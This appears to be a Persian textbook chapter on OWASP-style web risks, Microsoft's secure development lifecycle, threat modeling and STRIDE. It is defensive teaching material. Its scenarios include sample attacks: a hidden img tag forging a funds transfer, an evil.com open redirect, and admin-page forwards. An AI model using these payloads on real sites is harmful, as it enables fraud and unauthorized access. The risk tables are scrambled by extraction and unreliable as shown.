 وابسته به برنامه
 برداریبهره

 مشکل

 رواج

 رایجغیر

 کشف 

 متوسط

 تاثیر

 شدید

وابسته به 

 وکارکسب/افزارنرم

در نظاار بگیریااد چااه 

تواننااد بااه کسااانی می

های حساس شما و داده

پشتیبانی از  یهر نسخه

ها دسترسی پیدا آن داده

کنناااد. ایااان شاااامل 

شااده، ذخیرههااای داده

درحال انتقال یاا حتای 

نیز  کارخواهدر مرورگر 

شاااود. تهدیااادهای می

خارجی را در داخلی و 

 نظر بگیرید.

مهاجمان معماولاً مساتقیماً 

از  هااآنشکنند. رمز را نمی

چیزهای دیگر مانند سرقت 

های ماارد کلیاادها، حملااه

هاای یا سارقت داده 1میانی

کاارگزار، درحاال بار متنی 

انتقال یا در مرورگار کااربر 

 کنند. استفاده می

هاای ترین نقص عادم رمزنگااری دادهرایج

حساس است. وقتی از رمزنگااری اساتفاده 

شاود، تولیاد کلیاد ضاعیف و مادیریت می

هااای ضااعیف کلیااد و اسااتفاده از الگوریتم

هاااای ضاااعیف، باااه خصاااوص تکنیک

های سازی ضعیف رایج است. ضعفدرهم

مرورگر خیلای رایاج هساتند و تشاخیص 

 هااآن بارداری ازساده است ولی بهره هاآن

در مقیاس وسیع مشاکل اسات. مهاجماان 

هااای ساامت خااارجی در تشااخیص نقص

 هااآنکارگزار مشکل دارند چون دسترسی 

هاا برداری از این نقصمحدود است و بهره

 هم مشکل است. 

هایی کاه شکست تمام داده

شد را در باید محافظت می

دهاد. معرض خطر قرار می

نوعاً این اطلاعاات شاامل 

ساااس نظیاار هااای حداده

سااااااوابق ساااااالامت، 

هااااای ها، دادهاعتبارنامااااه

هااااای شخصاااای، کارت

 شود.اعتباری و غیره می

ی از هاااداده تجاااریارزش 

و تاااثیر آن باار  رفتهدساات

شااهرت خااود را در نظاار 

لیت قااانونی یوبگیریاد. مسا

هاا افشاا شما اگر ایان داده

 شود چیست؟ 
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 های حساس: افشای داده6-۲جدول 

 

 سناریوهای حملهیي از هامثال

داده پایگاههای اعتباری را با استفاده از رمزگذاری خودکار کارت یکاربردی شماره ییک برنامه :1سناریوی 

شوند و به صورت خودکار رمزگشایی میها کند. با این حال این بدین معناست که هنگام بازیابی، دادهرمز می

های کارت اعتباری به صورت رمز نشده امکان دستیابی به شماره SQLشود که نقص تزریق این باعث می

های کارت اعتباری را با استفاده از یک کلید عمومی رمز کند و فقط توانست شمارهفراهم شود. سیستم می

 ستفاده از کلید خصوصی رمزگشایی کند.را با ا هاآنکاربردی بتواند  یبرنامه

شده استفاده نکند. مهاجم به سادگی حفاظتبرای صفحات  SSLیک سایت ممکن است از  :۲سناریوی 

دزدد. مهاجم سیم باز( و کوکی نشست کاربر را میبی ی)مثل یک شبکه گیردنظر میتحتترافیک شبکه را 

های خصوصی کاربر دسترسی ر را سرقت کند و به دادهممکن است این کوکی را تکرار کند و نشست کارب

 پیدا کند.

سازی رمزهای عبور استفاده برای ذخیره 2سازی بدون سالتعبور از درهمهای کلمهداده پایگاه: 3سناریوی 

دهد که به فایل رمزهای عبور دسترسی پیدا کرده است. یک نقص در آپلود فایل به مهاجم این امکان را می

های از پیش سازیاز درهم 3کمانتوان با استفاده از جدول رنگینهای بدون سالت را میسازیکند. تمام درهم

 محاسبه شده به دست آورد.

 عملکردعدم وجود کنترل دسترسي در سطح  

را قبل از نمایش یک عملکرد در  وب حقوق دسترسی سطح عملکردتحتهای کاربردی بسیاری از برنامه 

کاربردی باید همین بررسی کنترل دسترسی را روی  یکنند. با این وجود برنامهواسط کاربری بررسی می

                                                                                                                                                          

 

 

1 middle-the-in-Man 

2 Unsalted Hash 

3 Rainbow Table 
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توانند ها بررسی نشوند مهاجمان میجام دهد. اگر درخواستکارگزار هنگام دسترسی به هر عملکرد هم ان

 ها را به منظور دسترسی به عملکرد بدون مجوز مناسب جعل کنند.درخواست
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 : عدم کنترل دسترسي در سطح عملکرد7-۲جدول 

 سناریوهای حملهیي از هامثال

های زیر نیاز به احراز هویت کاربر URLکند. های هدف مراجعه میURL: مهاجم به سادگی به 1سناریوی 

 است. موردنیاز admin_getappinfo یدارند. مجوزهای مدیریتی نیز برای دسترسی به صفحه

http://example.com/app/getappInfo 

http://example.com/app/admin_getappInfo 

اگر یک کاربر ناشناس بتواند به هر کدام از این صفحات دسترسی پیدا کند، این یک نقص است. اگر یک 

دسترسی پیدا کند، این نیز یک نقص است  admin_getappinfoکاربر شناخته شده غیر مدیر بتواند به صفحه 

اند نشدهی که به درستی محافظت و ممکن است باعث شود که مهاجم بتواند به صفحات مدیریتی دیگر

 دسترسی پیدا کند.

کند که عملکردی باید فراخوانی شود و دارد که مشخص می action: یک صفحه یک پارامتر ۲سناریوی 

ها اعمال نشوند یک نقص در سیستم های مختلف دارند. اگر این نقشعملکردهای مختلف نیاز به نقش

 وجود دارد.

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 ساده

 رواج

 جیرا

 کشف 

 متوسط

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

هر کسی که باه شابکه 

داشاته باشاد  دسترسی

 یتواند برای برناماهمی

کاااربردی شااما یااک 

درخواست بفرستد. آیا 

کاااااربران ناشااااناس 

توانناااد باااه یاااک می

عملکرد خصوصای یاا 

توانند کاربران عادی می

به یک عملکارد ممتااز 

 دسترسی پیدا کنند؟

مهاجم که یک کاربر مجااز 

سیسااتم اساات بااه سااادگی 

URL  یا یک پاارامتر را باه

یک عملکارد ممتااز تغییار 

آیاا دسترسای داده . دهدمی

شود؟ کااربران ناشاناس یم

ممکن است به عملکردهای 

خصوصاای کااه محافظاات 

 اند دسترسی پیدا کنند.نشده

ها همیشه عملکردهاا را باه صاورت برنامه

برخای مواقاع  .کننادصحیح محافظت نمی

محافظاات در سااطح عملکاارد از طریااق 

شاود و سیساتم باه پیکربندی مادیریت می

درسااتی پیکربناادی نشااده اساات. گاااهی 

نویسان باید کدهای خاود را بررسای برنامه

کننااد. تشااخیص ایاان کنناد و فرامااوش می

ترین بخااش هااا ساااده اساات. مشااکلنقص

عملکردهاای  ها(URLشناسایی صفحات )

 موجود برای حمله است.

هاااایی باااه چناااین نقص

مهاجمااان ایاان امکااان را 

دهااد کااه بااه عملکاارد می

غیرمجاااز دسترساای پیاادا 

عملکردهای مدیریتی  .کنند

یدی برای این نوع هدف کل

 حملات هستند.

عملکردهای  تجاریارزش 

هایی کاه شده و دادهاستفاده

را در نظار کنند پردازش می

تاااثیر  چنااینهمبگیریااد. 

افشاااای عماااومی ایااان 

پذیری باار شااهرت آساایب

 ؟ خود را در نظر بگیرید

http://example.com/app/admin_getappInfo
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 (CSRF) 1سایتيبینجعل درخواست  

برای یک برنامه  HTTPکند که یک درخواست جعلی مرورگر قربانی را مجبور می CSRF یحملهیک 

پذیر بفرستد که شامل کوکی نشست قربانی و هر داده خودکار احراز هویت دیگر وب آسیبتحتکاربردی 

هایی کند که برنامه دهد که مرورگر قربانی را مجبور به ایجاد درخواستاست. این به مهاجم امکان می

 های مشروع از طرف قربانی هستند.کند درخواستپذیر فکر میآسیب

 سایتيبین: جعل درخواست 8-۲جدول 

 سناریوهای حملهیي از هامثال

                                                   

 

 

1 Site Request Forgery-Cross 

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 متوسط

 رواج

 بسیارگسترده

 کشف 

 آسان

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

تواناد یکاه م یهر کس

مطالب را باه مرورگار 

 و یریکاربر شاما باارگ

را وادار  هااآن جهیدر نت

درخواسات باه  ارایهبه 

خود کند در  تیساوب

. هااار دیااارینظااار بگ

که کااربران  یسایتوب

مراجعاه  هااآنشما باه 

توانااد ایاان کننااد میمی

 .کار را بکند

کااه درخواساات  یمهاااجم

HTTP سااخته و از  جعلی

 ر،یتصو یهابرچسب قیطر

XSS یهااااکیتکن ایااا و 

قربانی را فریب  گریمتعدد د

. را ارسال کند دهد تا آنمی

احراز هویت شده اگر کاربر 

 حمله موفق است. ،باشد

CSRF کناد کاه از این واقعیت استفاده می

های کاربردی باه مهاجماان ایان اکثر برنامه

دهند کاه تماام جزییاات یاک امکان را می

 بینی کنند.عمل خاص را پیش

مانناد  ییهاکه مرورگار اعتبارناماه جاآناز 

را به طاور خودکاار ارساال  نشست یکوک

کنااد، مهاجمااان تواننااد صاافحات وب یم

 دیااتول یمصاانوعمخاارب کااه درخواساات 

و این صفحات قابال  کنند جادیکنند را ایم

  تمیز از صفحات اصلی نیستند.

 آزماون قیااز طر CSRF بیمعا صیتشخ

کاد نسابتا آساان  لیو تحل هیتجز اینفوذ و 

 است.

 انیقربان توانندمیمهاجمان 

کاه  یرا به م هر گونه عمل

قربانی مجااز باه انجاام آن 

به عنوان  است فریب دهند.

 یروزرساااااانبهمثاااااال، 

 جااادیا ،اطلاعااات حساااب

خاروج و یاا حتای ، دیخر

  ورود به سیستم.

عملکردهای  تجاریارزش 

هایی که استفاده شده و داده

کنند را در نظار پردازش می

فاارض کنیااد کااه بگیریااد. 

مطمئن نباشید که آیا کااربر 

خواسته آن کاار را میواقعا 

 بکند یا خیر؟

باار  ایاانتاااثیر  چنااینهم

شااهرت خااود را در نظاار 

 .بگیرید
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برای  نیست ارسال کند. مخفی هیچ چیز تغییر وضعیت که شامل یک درخواست دهد کاربراجازه می برنامه

 :مثال

http://example.com/app/transferFunds?amount=1500&destinationAccount=46732

43243  

 سپس و سازدانتقال دهد می مهاجم به حساب قربانی پول را از حساب که درخواست یک بنابراین، مهاجم

مهاجم  کنترلتحت های مختلفسایت شده رویذخیره iframeیا  تصویر رخواستدحمله را در یک این 

 :کندتعبیه می

<img src="http ://example.com/app/transferFunds?amount=1500 

&destinationAccount=attackersAcct#" width="0" height="0" />  

 احراز هویت شده است، example.com اکنون درهم در حالی که مهاجم را هایهر یک از سایت اگر قربانی

 یاجازهکه  ،شودمیکاربر  session اطلاعات شامل به طور خودکار جعلی این درخواست بازدید کند،

 صادر خواهدشد. مهاجم  درخواست

 شدهشناختههای پذیریهای دارای آسیباستفاده از مولفه 

افزاری تقریبا همیشه با حداکثر مجوز اجرا های نرمها و دیگر ماژولها، چارچوبها مثل کتابخانهمولفه

تواند باعث از دست رفتن ای میپذیر مورد استفاده قرار بگیرد، چنین حملهآسیب یشوند. اگر یک مولفهمی

های پذیریهایی با آسیبهای کاربردی که از مولفهها یا در دست گرفتن کارگزار شود. برنامهجدی داده

ت و تاثیرات ای از حملاکنند سیستم دفاعی برنامه کاربردی را دور بزنند و مجموعهشناخته شده استفاده می

 را ممکن بسازند.
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 شدهشناختههای پذیریهای دارای آسیب: استفاده از مولفه9-۲جدول 

 حمله سناریوهاییي از هامثال

ها تقریبا همیشه با ها ممکن است منجر به هر نوع ریسک قابل تصوری بشوند. مولفهپذیری مولفهآسیب

تواند جدی باشد. دو ای میشوند بنابراین نقص در هر مولفهبیشترین سطح دسترسی برنامه کاربردی اجرا می

 د:انشدهدانلود  2011میلیون بار در سال  22پذیر زیر آسیب یمولفه

 Apache CXF Authentication Bypass به دلیل عدم وجود یک توکن شناسایی، مهاجمان :

 توانستند هر خدمت وبی را با مجوز کامل فراخوانی کنند.می

 Spring Remote Code Executionسازی زبان عبارت در : استفاه نامناسب از پیادهSpring  به

 ه خود را اجرا کنند و کارگزار را در اختیار بگیرند.داد که کد دلخوامهاجمان این امکان را می

دو مولفه  پذیر است چرا که هرکند، آسیبپذیر استفاده میآسیب یای که از یکی از این دو مولفههر برنامه

های دیگری که در اعماق برنامه از برداری از مولفهمستقیما توسط کاربران برنامه قابل دسترسی هستند. بهره

 .تر باشدشود ممکن است مشکلاستفاده می هاآن

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 متوسط

 رواج

 گسترده

 کشف 

 مشکل

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

های برخاااای مولفااااه

پذیر )مااااثلا آساااایب

های کتابخاناااااااااااه

چاااارچوب( ممکااان 

است توساط ابزارهاای 

خودکااااار شناسااااایی 

توانااد ایاان می .شااوند

افااااراد گوناااااگون و 

نامشخصی را به عوامل 

 حمله اضافه کند. 

مهاااااجم یااااک مولفااااه 

پذیر را با اساتفاده از آسیب

کااردن یااا تحلیاال اسااکن 

او  .کناددستی شناسایی می

این مشکل را برای اجارای 

کناد. سفارشای می یحمله

اگر مولفه ماورد اساتفاه در 

عمااق برنامااه باشااد مساااله 

 شود.تر میخیلی مشکل

های کاااربردی از ایاان تقریباااً تمااام برنامااه

هاای تولیاد برناد چاون تیممشکل رنج می

ناه تمرکاز ها/کتابخاروز بودن مولفهبهروی 

نویسان کنند. در بسیاری از موارد، برنامهنمی

کنند هایی را که استفاده میحتی تمام مولفه

. هاآنهای شناسند چه برسد به نسخهرا نمی

تر نیاز ها مساالل را پیییادهوابستگی مولفه

 کند.می

ها وسیعی از ضاعف یبازه

شامل تزریق،  .ممکن است

عااادم کنتااارل دسترسااای 

 و ... XSSمناسب، 

تواند حداقلی باشد تاثیر می

یا حتای منجار باه بدسات 

گاارفتن کاماال میزبااان و 

  افشای اطلاعات شود.

هاااار در نظاااار بگیریااااد 

پذیری چااه معنااایی آساایب

 وکارکساااااابباااااارای 

کنترل برنامااه متاااثر تحاات

دارد. ممکاان اساات ناااچیز 

باشد یاا ممکان اسات باه 

 معنای افشای کامل باشد.
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 Redirect ها وForward سنجي نشدهاعتبارهای 

های کنند و از دادههای دیگر منتقل میسایتوبکاربران به صفحات و  وبتحتهای کاربردی برنامه

قربانیان توانند کنند. بدون اعتبارسنجی مناسب، مهاجمان مینامطمئن برای تعیین صفحات مقصد استفاده می

 برای دسترسی به صفحات غیرمجاز استفاده کنند. Forwardهای تقلبی و بدافزار منتقل کنند یا از را به سایت

 های اعتبارسنجي نشدهForwardها و Redirect: 10-۲جدول 

 سناریوهای حملههایي از مثال

 URL کیمهاجم گیرد. می urlدارد که یک پارامتر به نام  redirect.jsp: برنامه یک صفحه به نام 1سناریوی 

و نصب  نگیشیف یسازد و باعث اجرایم ،دهدیم ریمس رییمخرب تغ یهاتیمخرب که کاربران را به سا

  شود.یمخرب م یافزارهانرم

http://www.example.com/redirect.jsp?url=evil.com  

برای  کند.استفاده می forward سایت از های مختلفبین بخش درخواست مسیر برنامه برای: 2سناریوی 

به کجا فرستاده  باید موفق است کاربر تراکنشدهد اگر نشان میکه  پارامتر از یک برخی صفحات تسهیل آن،

 وکارکسباثرات  اثرات فنی ضعف امنیتی حمله هایحامل عوامل تهدید

 وابسته به برنامه
 برداریبهره

 متوسط

 رواج

 گسترده

 کشف 

 مشکل

 تاثیر

 متوسط

وابسته به 

 وکارکسب/افزارنرم

تواناد یکاه م یهر کس

 کیکاربران را با ارسال 

درخواسااااات باااااه 

 بیاخود فر سایتوب

. هر دیریدهد در نظر بگ

که کااربران  یسایتوب

 کنناااادمیاسااااتفاده 

کااار را  نیااا تواناادمی

  دهد. انجام

 تیمهاجم با ترفندها و هدا

کردن  کیباعث کل غیرمعتبر

هااااا نکیل یرو یقربااااان

به احتمال  انی. قربانشودمی

کنند روی آن کلیک می ادیز

چون لینک به یاک ساایت 

، مهااااجم معتبااار اسااات

forward  ناااامن را هاادف

های امنیتی گیرد تا کنترلمی

 .را دور بزند

اغلاب کااربران را باه  یکااربرد یهابرنامه

 forwardاساتفاده از با  ای و گریصفحات د

کنناد. یم تیمشابه هادا یاوهیبه ش یداخل

 کیاباا  ماوردنظر یاوقاات صافحه یگاه

کااه بااه  مشااخص شااده، غیرمعتباارپااارامتر 

مقصاد را  یدهد صفحهیممهاجمان اجازه 

بادون  ریمسا رییاتغ صیانتخاب کنند. تشخ

هاایی Redirectدنباال کنترل آسان اسات. 

را بااه صااورت کاماال،  URL بگردیااد کااه

 های بررسی نشادهforward. کندمی میتنظ

صافحات  هااآن، چارا کاه هستندتر سخت

 دهند.یرا هدف قرار م یداخل

 ییرهایرمسااااییتغ نیچناااا

ممکن است اقدام به نصب 

 ایامخارب و  یافزارهانرم

 یافشاا باه انیاقربان بیفر

 ریسااا ایااعبااور  یکلمااه

اطلاعااات حساااس کنااد. 

Forward  نااااامن ممکااان

دورزدن  یاسااات اجاااازه

 بدهد. کنترل دسترسی را

تجاری حفظ اعتماد ارزش 

کاااربران خااود را در نظاار 

 بگیرید. 

را در  هاآناگر یک بدافزار 

 شود؟اختیار بگیرد چه می

اگاااار مهاجمااااان بااااه 

عملکردهااااای داخلاااای 

دسترساای پیاادا کننااد چااه 

 شود؟می
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برنامه را رد و سپس  سازد که مانع کنترل دسترسیی میURL حالت، مهاجم در این .دکنناستفاده می ،شود

 .رساندمجاز نیست می که های اجراییقابلیت مهاجم را به

http://www.example.com/boring.jsp?fwd=admin.jsp 

 

 1تولید امن یچرخه 3-۲

به  ازیدر حال حاضر ن وتریتوجه کنند. کاربران کامپ یتیامن داتیبه تهد دیافزار باکنندگان نرمدیهمه تول

توجه  گرانیتر از دبه طور موثر یتیامن داتیکه به تهد یکنندگاندیتول و افزار قابل اعتماد و امن دارندنرم

 تیحس مسئول شیدر حال حاضر افزا ،چنینهمدر بازار به دست آورند.  یرقابت تیتوانند مزیکنند میم

 تیامن تیریکمتر و مد ریبه تعم ازیکه ن کرده است افزار امننرم جادیکنندگان را وادار به ادیتول ،یاجتماع

 کمتر دارد.

تواند باعث یکاربران م یخصوص میحر یهایاز نگران یپوشتوجه است. چشم ازمندین زین یخصوص میحر

 یخصوص میکه از حر یکنندگاندیشود. تول یاعتمادیب و یمنف یارسانهپوشش  ،ییقضا یقطع گسترش، دعو

 .شوندیم زیخود متما یآورند و از رقبایرا بدست م هاآناعتماد  کنندیکاربران محافظت م

 آن.  یارهایمع و ندیآبهبود فر ،تجربیات نیبهتر سه عنصراست: یافزار امن دارانرم توسعه

به دست  هاآناعمال  چگونگی یریگآن از اندازه یارهایمع و دو عنصر اول است یتمرکز رو در این مستند

 .آیندمی

. داردعناصر تمرکز داشته  نیکه بر ا سازی کرده استی را پیادهافزارنرم یتوسعه قیدق ندیفرآ کروسافتیما

 چنینهماست و  مستندات و کد ،یدر طراح تیط به امنمربو یهایریپذبیهدف به حداقل رساندن آس

تعداد و شدت  بهبودها نیاست. ا تولید اتیح یچرخهدر طول  یریپذبیو حذف هرچه زودتر آس صیتشخ

 .دهدمیکاربران را بهبود  یخصوص میرا کاهش و حفاظت از حر یتیامن یهایریپذبیآس

 است: یاست الزام افتهیتوسعه  ریز کاربردهای یکه برا یافزارنرم یافزار امن برانرم تولید

                                                   

 

 

1 Secure Development Lifecycle 

http://www.example.com/boring.jsp?fwd=admin.jsp
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 تجاری طیدر مح 

 یشخص ییپردازش اطلاعات شناسا (PII)  اطلاعات حساس گرید ایو 

 گرید یهاشبکه ای نترنتیا یبر رو منظمارتباط  یبرقرار یبرا 

به عنوان است.  پیشرو در صنعت افزارنرم تیامن نیتضم ندیفرا کی کروسافتیما( SDL)تولید امن  یچرخه

 میو حر تیامن هیدر تعب یبود که نقش مهم SDL ،2004از سال  کروسافتیما یاجبار استیس کی

 SDL ،یجامع و عمل کردیرو بیترکبا کرده است.  فایا کروسافتیما ها و فرهنگافزاردر نرم یخصوص

باعث شد  نیا کرد. یمعرف دیتول فرایندرا در ابتدا و در طول تمام مراحل  یخصوص میو حر تیامن

از جمله دار خود پرچممحصولات  ای درشدهشناختهو  یریگقابل اندازه یتیامن یهاشرفتیپ کروسافتیما

 . باشدداشته  SQL Serverو  ستایو ندوزیو

 امن ی تولیدچرخهفازهای  1-3-۲

 وجود دارند.  SDLاز پنج فاز تشکیل شده است. دو نیازمندی قبل و بعد از  SDLبه طور کلی 

 ها عبارتند از:فازها و نیازمندیاین 

  نیازمندی قبل ازSDLآموزش امنیتی : 

  ها: نیازمندی1فاز 

  طراحی2فاز : 

  سازی: پیاده3فاز 

  وارسی4فاز : 

  انتشار5فاز : 

  نیازمندی پس ازSDL پاس : 

 دهد:ها را نشان میشکل زیر این فازها و نیازمندی

 

 SDL. فازهای ۲-۲شکل 

آموزش نیازمندی ها طراحی پیاده سازی وارسی انتشار پاس 
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 آموزش امنیتي 

های جدید در افزار باید آموزش مناسب ببینند تا درباره مبانی امنیت و گرایشهای تولید نرمتمام اعضای تیم

بایست حداقل یک کنند میافزاری تولید میهای نرمامنیت و حریم خصوصی مطلع باشند. افرادی که برنامه

افزار با در تواند تضمین کند که نرملاس آموزش امنیت شرکت کنند. آموزش امنیت میبار در سال در یک ک

های تولید کمک کند که در تواند به تیمنظر گرفته شدن امنیت و حریم خصوصی تولید شده است و می

امنیت  های اضافی در موردشوند تا آموزشروز باشند. اعضای تیم پروژه به شدت تشویق میبهمسالل امنیتی 

 لازم است را فرا بگیرند. هاآنو حریم خصوصی که برای نیازها و محصولات 

توان به دو دسته کلی افزار امن موفق لازم هستند. این مفاهیم را مییک نرممفاهیم کلیدی هستند که برای 

، مدیر گرآزمون، دهندهای و مفاهیم پیشرفته امنیتی تقسیم کرد. هر عضو فنی تیم پروژه )توسعهمفاهیم پایه

 برنامه( باید با این مفاهیم امنیتی آشنا باشد.

 شود:شامل موارد زیر می ایمفاهیم پایه

 های امنفرضپیش ،قانون حداقل امتیاز، دفاع در عمق، سطح حمله کاهش: طراحي امنیتي 

 مدل کدنویسی برای یک ، طراحی برای یک مدل تهدید، تهدید سازیمدلمرور : تهدید سازیمدل

 آزمون برای یک مدل تهدید، تهدید

 :تزریق ، سایتیبیننویسی اسکریپت، خطاهای محاسباتی اعداد صحیح، سرریز بافر کدنویسي امن

SQL ،مشکلات کد مدیریت شده، رمزنگاری ضعیف 

 های آزمونولوژیتابع، ارزیابی ریسک، آزمون امنیت در مقابل آزمون عملکرد: آزمون امنیتي ،

 آزمونخودکارسازی 

 تحلیل ، بهترین تجربیات طراحی حریم خصوصی، حریم خصوصی یانواع داده: حریم خصوصي

 بهترین تجربیات آزمون حریم خصوصی، بهترین تجربیات تولید حریم خصوصی، ریسک

هر قدر  کند.ای برای پرسنل فنی فراهم میکه در ادامه آمده است یک دانش پایهای مفاهیم پیشرفته آموزش

یی از این هامثالشود که مفاهیم پیشرفته بیشتری را بررسی کنید. دهد، پیشنهاد میکه زمان و منابع اجازه می

های امنیتی، فرایندهای مفاهیم عبارتند از: طراحی و معماری امنیتی، طراحی واسط کاربری، جزییات نگرانی

 های خاص کاهش تهدیدسازی روشپاس  امنیتی و پیاده
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آموزشی امنیتی را در سال بگذرانند.  یها و مدیران برنامه باید حداقل یک برنامهگرآزمونام تولیدکنندگان، تم

کنند باید با استانداردهایی که قبلا درصد اعضای تیم پروژه که روی محصولات و خدمات کار می 80حداقل 

 لیست شد قبل از انتشار محصول یا خدمت موافقت داشته باشند.

 هایک: نیازمندیفاز  

تعیین »و تحلیل هزینه « ایدرنظر گرفتن امنیت در یک سطح پایه» شامل درک پروژه SDLهای فاز نیازمندی

 شود.می« های تولید و پشتیبانی برای بهبود امنیت با نیازهای تجاری سازگار هستندآیا هزینه کهاین

 های امنیتی:نیازمندی

 های ا مشخص شود که آیا تیم تولید شما با سیاستیک پرسشنامه کوتاه ایجاد کنید تSDL  تطابق

 دارد یا خیر. 

  ردگیری و مدیریت امنیت محصول است را مشخص کنید. این تیم یا مسیول تیم یا شخصی را که

هماهنگی و مسیول افزار امن است نیست بلکه انتشار نرم کهاینتضمین مسیول شخص تنها 

 ساله امنیتی نیز هست.ارتباطات درباره وضعیت هر م

 توان را می دادهپایگاهی امنیتی را ردگیری کند و هاباگتواند مطمئن شوید که ابزار گزارش باگ می

 ی امنیتی جستجو کرد.هاباگتمام در هر لحظه برای 

 ی امنیتی برای پروژه تعریف و مستند کنید. این مجموعه از معیارها یک سطح کمینه هاباگ 1یک بار

های مرتبط با مسالل امنیتی را بهبود کند. تعریف آن در شروع پروژه درک ریسکرا ایجاد می امنیتی

 شویم.های انتشار پروژه نزدیک میگاه نباید ساده شود حتی اگر به تاری بخشد. این باگ بار هیچمی

 انتشار اضافه کند که به تازگی به این اگر برنامه شما از کدهای شخص ثالث دارای مجوز استفاه می

شده است، شما باید مطمئن شوید که یک قید در قرارداد مجوز وجود دارد که شخص ثالث را به 

 کند.ملزم می SDLهای شده از نیازمندیتعریفمدرک اثبات سازگاری با یک لیست از پیش  یاراله

                                                   

 

 

1 Bug Bar 
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 فاز دو: طراحي 

پیش خواهید  SDLخود را در فرایند کند که چگونه پروژه ریزی میطرحفاز طراحی زمانی است که شما 

کنید و تحلیل هایی که باید برای این فاز دنبال کنید مشخص میشما بهترین تجربهبرد. در طول فاز طراحی 

 افزار خود را شناسایی کنید.کنید تا تهدیدها و نقاط ضعف در نرمریسک می

های آن است. توصیف ی حیاتهچرخبهترین زمان برای تاثیرگذاری روی طراحی یک پروژه ابتدای 

عملکردی ممکن است نیاز به توصیف امکانات امنیتی یا حریم خصوصی داشته باشند که مستقیما در اختیار 

راز هویت کاربر برای دسترسی به داده خاص یا موافقت کاربر قبل از حگیرند. مانند نیاز به اکاربر قرار می

های طراحی باید چگونگی ز نظر حریم خصوصی. توصیفاستفاده از یک امکان دارای ریسک بالا ا

سازی همه عملکردها به عنوان امکانات امن را شرح بدهد. امکانات سازی این امکانات و چگونگی پیادهپیاده

ها قبل از اند نظیر اعتبارسنجی دقیق دادهامن، امکاناتی هستند که با توجه به امنیت به خوبی مهندسی شده

  .هاآنپردازش 

 های امنیتی حیاتی است که باید در فاز طراحی کامل شود.تهدید یکی دیگر از فعالیت سازیمدل

 تهدید سازیمدل 1-3-1-3-۲

تهدید یک فرآیند سیستماتیک است که برای شناسایی تهدیدات و  سازیمدلهای امنیتی، برای نگرانی

 تهدید را در طول طراحی پروژه کامل کنید. سازیمدلشما باید  شود.افزار استفاده میپذیری در نرمآسیب

 .کند را درک کنداز آن محافظت می که های پروژهدارایی کهاینافزار امن بسازد مگر تواند نرمیک تیم نمی

ها، حمله دها،یتهد ییکمک به شناسا یاست که شما برا یمهندس کیتکن کی دیتهد یسازمدل

 تی. فعالدیاستفاده کن توانیدمیبرنامه  ویسنار ینهیاقدامات متقابل در زم و هایریپذبیآسپذیرآسیب

 تا: کندمیبه شما کمک  دیتهد سازیمدل

 دیکن ییخود را شناسا یتیاهداف امن. 

 دیکن ییمرتبط را شناسا داتیتهد. 

 دیکن ییو اقدامات متقابل مرتبط را شناسا هایریپذبیآس. 

 :شودمیاستفاده  ریموارد ز یبرا دیتهد یسازمدل از

 یتیبه اهداف امن دنیرس یبرنامه برا یشکل دادن به طراح. 

  یمهندس کلیدی ماتیدر طول تصم گیریتصمیمکمک. 
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  اتیدر طول توسعه و عمل یتیمسالل امن بروزکاهش خطر. 

ا به تدریج با شما باید مدل تهدید خود ر نشان داده شده است. زیرسازی تهدید در شکل پنج گام اصلی مدل

برنامه و  یعمر توسعه یچرخه با حرکت درتصحیح کنید. شما قادر خواهید بود  5تا قدم  2انجام مکرر قدم 

 کشف بیشتر در مورد طراحی برنامه جزلیات بیشتری را اضافه کنید.

 

 سازی تهدید. فرایند مدل3-۲شکل 

 عبارتند از: دیتهد یسازمدلپنج قدم 

 نییو تع دیتهد یسازمدل یهاتیاهداف روشن به تمرکز فعال :يتیاهداف امن یيشناسا -1 مرحله 

 کند.یکمک م یگذراندن مراحل بعد یمقدار تلاش برا

 مهم برنامه به شما  یهاها و نقشیژگیجزء به جزء نوشتن و :برنامه يمرور کل جادیا -۲ مرحله

 .دیکن ییشناسا 4 یمربوطه را در طول مرحله داتیکند تا تهدیکمک م

 را ترقیتر و دقمرتبط داتیبرنامه، کشف تهد سمیاز مکان قیدرک دق :برنامه یهیتجز -3 مرحله 

 .کندمیتر آسان

 مربوط به  یدهایتهد صیتشخ یبرا 3و  2مراحل  اتیاز جزل :داتیتهد یيشناسا -4 مرحله

 .دیتان استفاده کنمتن برنامه و ویسنار
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 داتینقاط ضعف مربوط به تهد ییشناسا یبرنامه برا یهاهیلا :یپذیرآسیب یيشناسا -5 مرحله 

که اغلب اشتباهات  یمناطق یبه شما در تمرکز رو یریپذبیآس یبندشوند. استفاده از دستهیم مرور

 کند.یکمک م دهد،رخ می

 STRIDEمدل  ۲-3-1-3-۲

STRIDE  برداری که استفاده رهبهشده با توجه به نوع شناختهبندی برای تشخیص تهدیدات یک طرح طبقه

 .شودمی

 :ساخته شده استهای زیر از حرف اول هر یک از مقوله STRIDE یکلمه

 ( جعل هویت Spoofing Identity ) دارند زیادی های کاربردی که کاربرانخطر کلیدی برای برنامه 

بدین معنا که کاربران  کنند.فراهم می دادهپایگاهاجرا در سطح برنامه کاربردی و  یولی یک زمینه

  باشند. کاربر دیگر یا گرفتن صفات کاربر دیگرنباید قادر به تبدیل شدن به 

 کاریدست ( دادهTampering with Data) هاآنهایی که به توانند دادهکاربران بطور بالقوه می 

 کارخواه،سنجی سمت در نتیجه به طور بالقوه اعتبار و داده، بازگشت دهند تحویل داده شده را تغییر

هایی، برنامه نباید داده کنند. کاریدستو غیره را  HTTP  سرآیندها، ، کوکیPOSTو  GET نتایج

را به کاربر ارسال حصول هستند افزار قابل که تنها از داخل خود نرم ،بهره یمانند نرخ و یا دوره

های دریافت شده از کاربران را بررسی و سالم و قابل اجرا باید به دقت داده چنینهمافزار نرمکند. 

 سازی و استفاده اعتبارسنجی کند.بودن آن را قبل از ذخیره

 (انکارRepudiation)  کاربران ممکن است  ،ناکافی باشدکاربران یا ثبت فعالیت  بازرسیاگر

حساب این من هیچ پولی به »گوید: برای مثال، اگر یک کاربر می معاملاتی پیدا کنند.اختلاف 

های او را از طریق برنامه پیگیری کنید، پس به احتمال فعالیتشما نتوانید  و «ندادم!خارجی انتقال 

